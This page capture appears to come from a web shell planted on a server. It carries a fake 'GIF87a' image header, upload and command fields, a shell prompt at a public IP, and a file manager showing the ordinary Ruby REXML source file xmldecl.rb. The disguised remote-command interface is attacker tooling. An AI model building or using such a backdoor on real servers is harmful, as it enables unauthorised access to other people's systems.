GIF87a; 404

MY HEART




Upload:

Command:

diavoloapp@18.222.24.251: ~ $
require 'rexml/encoding'
require 'rexml/source'

module REXML
  # NEEDS DOCUMENTATION
  class XMLDecl < Child
    include Encoding

    DEFAULT_VERSION = "1.0";
    DEFAULT_ENCODING = "UTF-8";
    DEFAULT_STANDALONE = "no";
    START = '<\?xml';
    STOP = '\?>';

    attr_accessor :version, :standalone
    attr_reader :writeencoding, :writethis

    def initialize(version=DEFAULT_VERSION, encoding=nil, standalone=nil)
      @writethis = true
      @writeencoding = !encoding.nil?
      if version.kind_of? XMLDecl
        super()
        @version = version.version
        self.encoding = version.encoding
        @writeencoding = version.writeencoding
        @standalone = version.standalone
      else
        super()
        @version = version
        self.encoding = encoding
        @standalone = standalone
      end
      @version = DEFAULT_VERSION if @version.nil?
    end

    def clone
      XMLDecl.new(self)
    end

    # indent::
    #   Ignored.  There must be no whitespace before an XML declaration
    # transitive::
    #   Ignored
    # ie_hack::
    #   Ignored
    def write(writer, indent=-1, transitive=false, ie_hack=false)
      return nil unless @writethis or writer.kind_of? Output
      writer << START.sub(/\\/u, '')
      writer << " #{content encoding}"
      writer << STOP.sub(/\\/u, '')
    end

    def ==( other )
      other.kind_of?(XMLDecl) and
      other.version == @version and
      other.encoding == self.encoding and
      other.standalone == @standalone
    end

    def xmldecl version, encoding, standalone
      @version = version
      self.encoding = encoding
      @standalone = standalone
    end

    def node_type
      :xmldecl
    end

    alias :stand_alone? :standalone
    alias :old_enc= :encoding=

    def encoding=( enc )
      if enc.nil?
        self.old_enc = "UTF-8"
        @writeencoding = false
      else
        self.old_enc = enc
        @writeencoding = true
      end
      self.dowrite
    end

    # Only use this if you do not want the XML declaration to be written;
    # this object is ignored by the XML writer.  Otherwise, instantiate your
    # own XMLDecl and add it to the document.
    #
    # Note that XML 1.1 documents *must* include an XML declaration
    def XMLDecl.default
      rv = XMLDecl.new( "1.0" )
      rv.nowrite
      rv
    end

    def nowrite
      @writethis = false
    end

    def dowrite
      @writethis = true
    end

    def inspect
      START.sub(/\\/u, '') + " ... " + STOP.sub(/\\/u, '')
    end

    private
    def content(enc)
      rv = "version='#@version'"
      rv << " encoding='#{enc}'" if @writeencoding || enc !~ /\Autf-8\z/i
      rv << " standalone='#@standalone'" if @standalone
      rv
    end
  end
end

Filemanager

Name Type Size Permission Actions
dtd Folder 0755
formatters Folder 0755
light Folder 0755
parsers Folder 0755
validation Folder 0755
attlistdecl.rb File 1.89 KB 0644
attribute.rb File 5.39 KB 0644
cdata.rb File 1.54 KB 0644
child.rb File 2.63 KB 0644
comment.rb File 2.14 KB 0644
doctype.rb File 6.58 KB 0644
document.rb File 9.52 KB 0644
element.rb File 43.85 KB 0644
encoding.rb File 1.13 KB 0644
entity.rb File 5.53 KB 0644
functions.rb File 11.27 KB 0644
instruction.rb File 2.01 KB 0644
namespace.rb File 1.09 KB 0644
node.rb File 2.13 KB 0644
output.rb File 519 B 0644
parent.rb File 4.33 KB 0644
parseexception.rb File 1.22 KB 0644
quickpath.rb File 9.08 KB 0644
rexml.rb File 1.65 KB 0644
sax2listener.rb File 3.6 KB 0644
source.rb File 7.6 KB 0644
streamlistener.rb File 3.88 KB 0644
syncenumerator.rb File 685 B 0644
text.rb File 13.57 KB 0644
undefinednamespaceexception.rb File 210 B 0644
xmldecl.rb File 2.68 KB 0644
xmltokens.rb File 526 B 0644
xpath.rb File 3.31 KB 0644
xpath_parser.rb File 25.7 KB 0644